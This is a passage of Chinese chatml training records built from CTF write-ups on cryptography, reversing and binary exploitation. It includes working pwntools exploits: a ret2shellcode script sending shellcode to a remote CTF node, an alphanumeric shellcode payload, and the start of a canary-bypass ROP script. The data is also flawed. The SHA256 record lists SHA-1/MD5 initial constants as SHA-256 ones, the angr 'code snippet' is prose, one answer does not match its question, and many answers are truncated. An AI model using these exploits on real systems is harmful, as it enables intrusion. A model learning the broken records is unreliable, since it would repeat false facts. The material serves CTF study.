"chatml::train::distilled_training_data::train::fd0743da6c3bcd1f", "original_line": 768, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "[HDCTF 2023]KEEP ON", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "fd0743da6c3bcd1f", "source_split": "train", "split": "train", "split_group_key": "7e96d76673a6f03d9e5bea20", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-f8c70cc1d0e18e1b873e", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《Hash 类算法》的“hashcat”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：Hash 类算法 / hashcat\n关键词：hashcat、force、hash、increment、Hybrid、Wordlist、Mask、show、remove、username\n蒸馏要点：\n- 使用 hashcat 这个工具进行碰撞爆破。\n- -m 指定哈希类型\n- -a 指定破解模式\n- -V  查看版本信息\n- -o  将输出结果储存到指定文件\n- --force 忽略警告\n- --show 仅显示破解的 hash 密码和对应的明文\n可用于训练的标准回答：\n### hashcat\n\n使用 hashcat 这个工具进行碰撞爆破。\n\n常用参数：\n\n- -m 指定哈希类型\n- -a 指定破解模式\n- -V  查看版本信息\n- -o  将输出结果储存到指定文件\n- --force 忽略警告\n- --show 仅显示破解的 hash 密码和对应的明文\n- --remove 从源文件中删除破解成功的 hash\n- --username 忽略 hash表 中的用户名\n- -b 测试计算机破解速度和相关硬件信息\n- -O 限制密码长度\n- -T 设置线程数\n- -r 使用规则文件\n- -1 自定义字符集  -1 0123asd     ?1={0123asd}\n- -2 自定义字符集  -2 0123asd    ?2={0123asd}\n- -3 自定义字符集  -3 0123asd    ?3={0123asd}\n- -i 启用增量破解模式\n- --increment-min 设置密码最小长度\n- --increment-max 设置密码最大长度\n\n破解模式介绍：\n\n- 0    straight                                           字典破解\n- 1    combination                                    将字典中密码进行组合（1 2>11 22 12 21）\n- 3    brute-force                                      使用指定掩码破解\n- 6    Hybrid Wordlist + Mask                  字典+掩码破解\n- 7    Hybrid Mask  + Wordlist                 掩码+字典破解\n\n集成的字符集：\n\n- ?l                代表小写字母\n- ?u              代表大写字母\n- ?d              代表数字\n- ?s              代表特殊字符\n- ?a...", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["crypto", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::f77e5fe18f91b45f", "original_line": 1048, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "hashcat", "source": "Hash 类算法.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "f77e5fe18f91b45f", "source_split": "train", "split": "train", "split_group_key": "041bffae543350f7faed3115", "tags": ["crypto", "ctf-method"], "title": "Hash 类算法", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-f8e116798b3b82aa5fdb", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《Hash 类算法》中“SHA256”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《Hash 类算法》的“SHA256”。\n语言/类型：c\n关联知识点：\n- SHA256 则有八个常量：\n- 八个固定的常量（初始化向量）\n- 不论输入是多长，输出永远是32字节\n- 符合上述两种调用方式之一\n代码片段：\n```c\nH0 = 0x67452301\nH1 = 0xEFCDAB89\nH2 = 0x98BADCFE\nH3 = 0x10325476\nH4 = 0xC3D2E1F0\nH5 = 0x9b05688c\nH6 = 0x1f83d9ab\nH7 = 0x5be0cd19\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["crypto", "ctf"], "original_id": "chatml::train::distilled_training_data::train::4570204bc8b8b2ce", "original_line": 757, "original_split": "train", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "SHA256", "source": "Hash 类算法.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "4570204bc8b8b2ce", "source_split": "train", "split": "train", "split_group_key": "3e0bf963dbc76f1bdac8c309", "tags": ["crypto"], "title": "Hash 类算法", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-f8edd2046147433e716b", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《RSA与大数运算》的“OpenSSL”部分，提炼一条适合 SFT 的中文技术讲解样本（第 3 段）。", "role": "user"}, {"content": "出处：RSA与大数运算 / OpenSSL（第 3 段）\n关键词：EVP_CIPHER_CTX、unsigned、const、ctx、EVP_CIPHER、ENGINE、out、outlen、BIGNUM、EVP_CIPHER_CTX_new()\n蒸馏要点：\n- | `RSA_private_decrypt(int flen, unsigned char *from, unsigned char *to, RSA *rsa, int padding)`                                     | 使用私钥解密数据。\n- | `EVP_CIPHER_CTX_new()`                                                                                                             | 创建一个新的加密上下文。\n- | `EVP_CIPHER_CTX_free(EVP_CIPHER_CTX *ctx)`                                                                                         | 释放加密上下文。\n- | `EVP_EncryptInit_ex(EVP_CIPHER_CTX *ctx, const EVP_CIPHER *type, ENGINE *impl, const unsigned char *key, const unsigned char *iv)` | 初始化加密上下文。\n- | `EVP_EncryptUpdate(EVP_CIPHER_CTX *ctx, unsigned char *out, int *outlen, const unsigned char *in, int inlen)`                      | 加密数据。\n- | `EVP_EncryptFinal_ex(EVP_CIPHER_CTX *ctx, unsigned char *out, int *outlen)`                                                        | 完成加密操作。\n- | `EVP_DecryptInit_ex(EVP_CIPHER_CTX *ctx, const EVP_CIPHER *type, ENGINE *impl, const unsigned char *key, const unsigned char *iv)` | 初始化解密上下文。\n可用于训练的标准回答：\n| `RSA_private_decrypt(int flen, unsigned char *from, unsigned char *to, RSA *rsa, int padding)`                                     | 使用私钥解密数据。                |\n| `EVP_CIPHER_CTX_new()`                                                                                                             | 创建一个新的加密上下文。             |\n| `EVP_CIPHER_CTX_free(EVP_CIPHER_CTX *ctx)`                                                                                         | 释放加密上下文。                 |\n| `EVP_EncryptInit_ex(EVP_CIPHER_CTX *ctx, const EVP_CIPHER *type, ENGINE *impl, const unsigned char *key, const unsigned char *iv)` | 初始化加密上下文。                |\n| `EVP_EncryptUpdate(EVP_CIPHER_CTX *ctx, unsigned char *out, int *outlen, const unsigned char *in, int inlen)`                      | 加密数据。                    |\n| `EVP_EncryptFinal_ex(EVP_CIPHER_CTX *ctx, unsigned char *out, int *outlen)`...", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 2, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "crypto", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::8cc76699abc21b75", "original_line": 977, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "OpenSSL", "source": "RSA与大数运算.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "8cc76699abc21b75", "source_split": "train", "split": "train", "split_group_key": "3a18d1c14ed1ad5346ea3736", "tags": ["reverse", "crypto", "ctf-method"], "title": "RSA与大数运算", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-f9646ca53a5f7e7109c6", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《Pwn：Stack》的“canary”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：Pwn：Stack / canary\n关键词：rbp、gift、lambda、read、data、canary、retaddr、stack_fail_got、text、num\n蒸馏要点：\n- 程序仅仅没有 PIE 保护。\n- `gift`函数是一个直接的栈溢出，溢出的长度充足，而`main`函数的`read`可以进行一次溢出覆盖`rbp`和`retaddr`，由于开启了`canary`所以我们要想正常的构造 rop 链必然要想办法绕过。\n- 下部分`read`可以溢出两个字长，可以覆盖`rbp`和`retaddr`。\n- 注意这里的`read`是从`[rbp+某值]`开始，所以这里的`rsi`的值是可控的，所以可以覆盖`rbp`的值为`stack_fail_got`，然后`ret`到`0x40133F`，这样就可以使得往`rbp`指向的地址写入任意值。\n- 把`stack_fail_got`写为`gift`函数，现在`canary`被触发也不会崩溃，而是会执行`gift`函数，所以可以随便栈溢出。\n可用于训练的标准回答：\n### canary\n\n程序仅仅没有 PIE 保护。\n\n`gift`函数是一个直接的栈溢出，溢出的长度充足，而`main`函数的`read`可以进行一次溢出覆盖`rbp`和`retaddr`，由于开启了`canary`所以我们要想正常的构造 rop 链必然要想办法绕过。\n\n下部分`read`可以溢出两个字长，可以覆盖`rbp`和`retaddr`。\n\n注意这里的`read`是从`[rbp+某值]`开始，所以这里的`rsi`的值是可控的，所以可以覆盖`rbp`的值为`stack_fail_got`，然后`ret`到`0x40133F`，这样就可以使得往`rbp`指向的地址写入任意值。\n\n把`stack_fail_got`写为`gift`函数，现在`canary`被触发也不会崩溃，而是会执行`gift`函数，所以可以随便栈溢出。\n\n```python\n#!/usr/bin/env python3\nfrom pwn import *\n\ndef dbg(c=0):\n    if c:\n        gdb.attach(io, c)\n    else:\n        gdb.attach(io)\n        pause()\n\ns = lambda data: io.send(data)\nsa = lambda text, data: io.sendafter(text, data)\nsl = lambda data: io.sendline(data)\nsla = lambda text, data: io.sendlineafter(text, data)\nr = lambda num=4096: io.recv(num)\nru = lambda text: io.recvuntil(text)\npr = lambda num=4096: print(io.recv(num))\nia = lambda: io.interactive()\nl32 = lambda: u32(io.recvuntil(b'\\xf7')[-4:].ljust(4, b'\\x00'))\nl6...", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "test", "labels_normalized": ["pwn", "ctf"], "original_id": "chatml::test::distilled_training_data::test::aa8289ca33ef59af", "original_line": 16, "original_split": "test", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "canary", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/test.jsonl", "source_path": "", "source_record_id": "aa8289ca33ef59af", "source_split": "test", "split": "train", "split_group_key": "3560f70704aebc6dbd6ada9a", "tags": ["pwn"], "title": "Pwn：Stack", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-f9bde68db3f430fbce8c", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《AES》的“脚本”部分，提炼一条适合 SFT 的中文技术讲解样本（第 4 段）。", "role": "user"}, {"content": "出处：AES / 脚本（第 4 段）\n关键词：State、self、RoundKeys、AddRoundKey、def、Round、aes、ciphertext、cls、16bytes\n蒸馏要点：\n- def _16bytes2num(cls, _16bytes):\n- return int.from_bytes(_16bytes, byteorder='big')\n- def num_2_16bytes(cls, num):\n- return num.to_bytes(16, byteorder='big')\n- def aes_encrypt(self, plaintext_list, RoundKeys):\n- State = plaintext_list\n- State = self.AddRoundKey(State, RoundKeys, 0)\n可用于训练的标准回答：\ndef _16bytes2num(cls, _16bytes):\n        # 16字节转数字\n        return int.from_bytes(_16bytes, byteorder='big')\n\ndef num_2_16bytes(cls, num):\n        # 数字转16字节\n        return num.to_bytes(16, byteorder='big')\n\ndef aes_encrypt(self, plaintext_list, RoundKeys):\n        State = plaintext_list\n        State = self.AddRoundKey(State, RoundKeys, 0)\n        for Round in range(1, 10):\n            State = self.SubBytes(State)\n            State = self.ShiftRows(State)\n            State = self.MixColumns(State)\n            State = self.AddRoundKey(State, RoundKeys, Round)\n        State = self.SubBytes(State)\n        State = self.ShiftRows(State)\n        State = self.AddRoundKey(State, RoundKeys, 10)\n        return State\n\ndef aes_decrypt(self, ciphertext_list, RoundKeys):\n        State = ciphertext_list\n        State = self.AddRoundKey(State, RoundKeys, 10)\n        for Round in range(1, 10):...", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 3, "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["crypto", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::0ed44031fabd286a", "original_line": 1079, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "脚本", "source": "AES.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "0ed44031fabd286a", "source_split": "train", "split": "train", "split_group_key": "d952e1b9fd397ea3e0a88ed4", "tags": ["crypto", "ctf-method"], "title": "AES", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-fa3bc6ccf049b4789f9e", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《Angr：Angr符号执行》中“给寄存器赋值一个具体值 123”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《Angr：Angr符号执行》的“给寄存器赋值一个具体值 123”。\n关联知识点：\n- state.regs.rdi = 123\n- state.regs.get('reg_name')\n- setattr(state.regs, 'reg_name', value)\n- address = 0x401234\n- size_in_bytes = 16\n代码片段：\n```\n当然也可以使用 `claripy.BVS`​ 创建符号值，`claripy.BVV`​ 创建具体值。\n\n通过寄存器名的字符串读取寄存器\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "test", "labels_normalized": ["reverse", "ctf"], "original_id": "chatml::test::distilled_training_data::test::4463a76971648c03", "original_line": 43, "original_split": "test", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "给寄存器赋值一个具体值 123", "source": "Angr.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/test.jsonl", "source_path": "", "source_record_id": "4463a76971648c03", "source_split": "test", "split": "train", "split_group_key": "5d5b0aa029fb0661c6013027", "tags": ["reverse"], "title": "Angr：Angr符号执行", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-fa4036aff24f1ce1097a", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《Pyc：pyc文件》的“逆向工具”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：Pyc：pyc文件 / 逆向工具\n关键词：test、pyc、原文件名.pyc、test.pyc、pycdc、uncompyle6、exe、exe_extracted、MAGIC_1_0、MAGIC_1_1\n蒸馏要点：\n- 通过工具反编译 pyc 文件，拿到源码\n- uncompyle6\n- 在解压缩后的目录下，存在`原文件名.pyc`文件，即我们的目标文件`test.pyc`\n- 对于 python3.9版本以下（不含3.9）\n- 使用uncompyle6工具\n- uncompyle6.exe .\\\\test.exe_extracted\\\\test.pyc > test.py\n- 对于python3.9版本以上（含3.9）\n可用于训练的标准回答：\n### 逆向工具\n\n通过工具反编译 pyc 文件，拿到源码\n\n- 在线工具\n- pycdc\n- uncompyle6\n\n在解压缩后的目录下，存在`原文件名.pyc`文件，即我们的目标文件`test.pyc`\n\n- 对于 python3.9版本以下（不含3.9）\n\t- 使用uncompyle6工具\n\t- uncompyle6.exe .\\\\test.exe_extracted\\\\test.pyc > test.py\n- 对于python3.9版本以上（含3.9）\n\t- 使用decompyle++工具\n\t- pycdc.exe .\\\\test.exe_extracted\\\\test.pyc > test.py\n\t- pycdc 得到py代码，pycdas 得到字节码\n\n如果反编译失败，通常没有加魔数头的情况下，我们通过加上魔数来解决。\n\n```\nenum PycMagic {\n    MAGIC_1_0 = 0x00999902,\n    MAGIC_1_1 = 0x00999903, /* Also covers 1.2 */\n    MAGIC_1_3 = 0x0A0D2E89,\n    MAGIC_1_4 = 0x0A0D1704,\n    MAGIC_1_5 = 0x0A0D4E99,\n    MAGIC_1_6 = 0x0A0DC4FC,\n\n    MAGIC_2_0 = 0x0A0DC687,\n    MAGIC_2_1 = 0x0A0DEB2A,\n    MAGIC_2_2 = 0x0A0DED2D,\n    MAGIC_2_3 = 0x0A0DF23B,\n    MAGIC_2_4 = 0x0A0DF26D,\n    MAGIC_2_5 = 0x0A0DF2B3,\n    MAGIC_2_6 = 0x0A0DF2D1,\n    MAGIC_2_7 = 0x0A0DF303,\n\n    MAGIC_3_0 = 0x0A0D0C3A,\n    MAGIC_3_1 = 0x0A0D0C4E,\n    MAGIC_3_2 = 0x0A0D0C6C,\n    MAGI...", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "ctf"], "original_id": "chatml::train::distilled_training_data::train::061449adafa3fcfd", "original_line": 1057, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "逆向工具", "source": "Pyc.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "061449adafa3fcfd", "source_split": "train", "split": "train", "split_group_key": "e7cbde45facbbb8b62aae384", "tags": ["reverse"], "title": "Pyc：pyc文件", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-fa4da7b1cf16f7924f67", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《Pwn：Stack》中“\\[HNCTF 2022 Week1\\]ret2shellcode”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《Pwn：Stack》的“\\[HNCTF 2022 Week1\\]ret2shellcode”。\n语言/类型：python\n关联知识点：\n- 将 shellcode 注入到修改为可执行权限的bss段，然后返回到bss段地址\n代码片段：\n```python\nfrom pwn import *\n\nio=remote(\"node5.anna.nssctf.cn\",27816)\ncontext.arch=\"amd64\"\ncontext.log_level=\"debug\"\nbss=0x4040a0\nshellcode=asm(shellcraft.sh()).ljust(264,b'a')\npayload=shellcode+p64(bss)\nio.send(payload)\nio.interactive()\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::eb107ac3176e4d7c", "original_line": 922, "original_split": "train", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "\\[HNCTF 2022 Week1\\]ret2shellcode", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "eb107ac3176e4d7c", "source_split": "train", "split": "train", "split_group_key": "67376acbf2d2994ecb74829d", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-fa64a2d992695884ce67", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《Pwn：Stack》中“\\[HNCTF 2022 Week1\\]safeshellcode”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《Pwn：Stack》的“\\[HNCTF 2022 Week1\\]safeshellcode”。\n语言/类型：python\n代码片段：\n```python\n#!/usr/bin/env python3\nfrom pwncli import *\ncli_script()\n\nio: tube = gift.io\nelf: ELF = gift.elf\n\nshellcode=\"Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t\"\ns(shellcode)\n\nia()\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::37fc6dbc787eae5d", "original_line": 761, "original_split": "train", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "\\[HNCTF 2022 Week1\\]safeshellcode", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "37fc6dbc787eae5d", "source_split": "train", "split": "train", "split_group_key": "4bb1aa3377128a9f4de992a9", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-faa7d547157c2f126560", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "在 CTF 学习中，如何理解“思路”？请用《2025强网杯 Qclac》中的内容回答。", "role": "user"}, {"content": "1. // 构造第一次攻击的 Intent —— 调用目标 app 的 deep link 接口\n2. Intent intent1 = new Intent(Intent.ACTION_VIEW, Uri.parse(\"qiangcalc://calculate?expression=\" + uri));\n3. // 指定包名，确保只发往 com.qinquang.calc\n4. intent1.setPackage(\"com.qinquang.calc\");\n5. // 启动目标 App（第一次交互）\n6. startActivity(intent1);", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 2, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "test", "labels_normalized": ["web", "ctf-method", "ctf"], "original_id": "chatml::test::distilled_training_data::test::dbbfc0401acf6993", "original_line": 18, "original_split": "test", "record_family": "sft_chatml", "record_type": "qa_from_section", "section": "思路", "source": "2025强网杯 Qclac.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/test.jsonl", "source_path": "", "source_record_id": "dbbfc0401acf6993", "source_split": "test", "split": "train", "split_group_key": "632ecf69825e71bcbedc339d", "tags": ["web", "ctf-method"], "title": "2025强网杯 Qclac", "type": "qa_from_section"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-faf941e80c1a3128bb28", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《Z3》的“添加约束”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：Z3 / 添加约束\n关键词：add、add()、z3、python\ns.add(x*5==10)\ns.add(y*1/2==x)、对于布尔类型的式子而言，我们可以使用z3内置的、等方法进行布尔逻辑运算：、Not、Implies\n蒸馏要点：\n- 我们可以通过求解器的`add()`方法为指定求解器添加约束条件，约束条件可以直接通过`z3`变量组成的式子进行表示：\n- 对于布尔类型的式子而言，我们可以使用z3内置的`And()`、`Or()`、`Not()`、`Implies()`等方法进行布尔逻辑运算：\n可用于训练的标准回答：\n### 添加约束\n\n我们可以通过求解器的`add()`方法为指定求解器添加约束条件，约束条件可以直接通过`z3`变量组成的式子进行表示：\n\n```python\ns.add(x*5==10)\ns.add(y*1/2==x)\n```\n\n对于布尔类型的式子而言，我们可以使用z3内置的`And()`、`Or()`、`Not()`、`Implies()`等方法进行布尔逻辑运算：\n\n```python\ns.add(z3.Implies(p,q))\ns.add(r==z3.Not(q))\ns.add(z3.Or(z3.Not(p),r))\n```", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "ctf"], "original_id": "chatml::train::distilled_training_data::train::7d3d3929f4e2e25e", "original_line": 643, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "添加约束", "source": "Z3.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "7d3d3929f4e2e25e", "source_split": "train", "split": "train", "split_group_key": "27a38f45b395b26f5a5103f7", "tags": ["reverse"], "title": "Z3", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-faff55b3eb99c817b6ca", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《花指令：原理：反汇编算法的设计缺陷》中“实现”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《花指令：原理：反汇编算法的设计缺陷》的“实现”。\n语言/类型：c\n关联知识点：\n- **msvc 编译器实现**\n- **gcc 编译器实现**\n代码片段：\n```c\n#include\nint main(){\n\t__asm{\n\t\tjz s:\n\t\tjnz s:\n\t\t_emit 0xe9;\n\ts:\n\t}\n\tprintf(\"hello world!\\n\");\n\treturn 0;\n}\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "test", "labels_normalized": ["reverse", "ctf"], "original_id": "chatml::test::distilled_training_data::test::5a8e19d1059995a5", "original_line": 40, "original_split": "test", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "实现", "source": "花指令.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/test.jsonl", "source_path": "", "source_record_id": "5a8e19d1059995a5", "source_split": "test", "split": "train", "split_group_key": "28e78e2b9a97559d6cfd9094", "tags": ["reverse"], "title": "花指令：原理：反汇编算法的设计缺陷", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
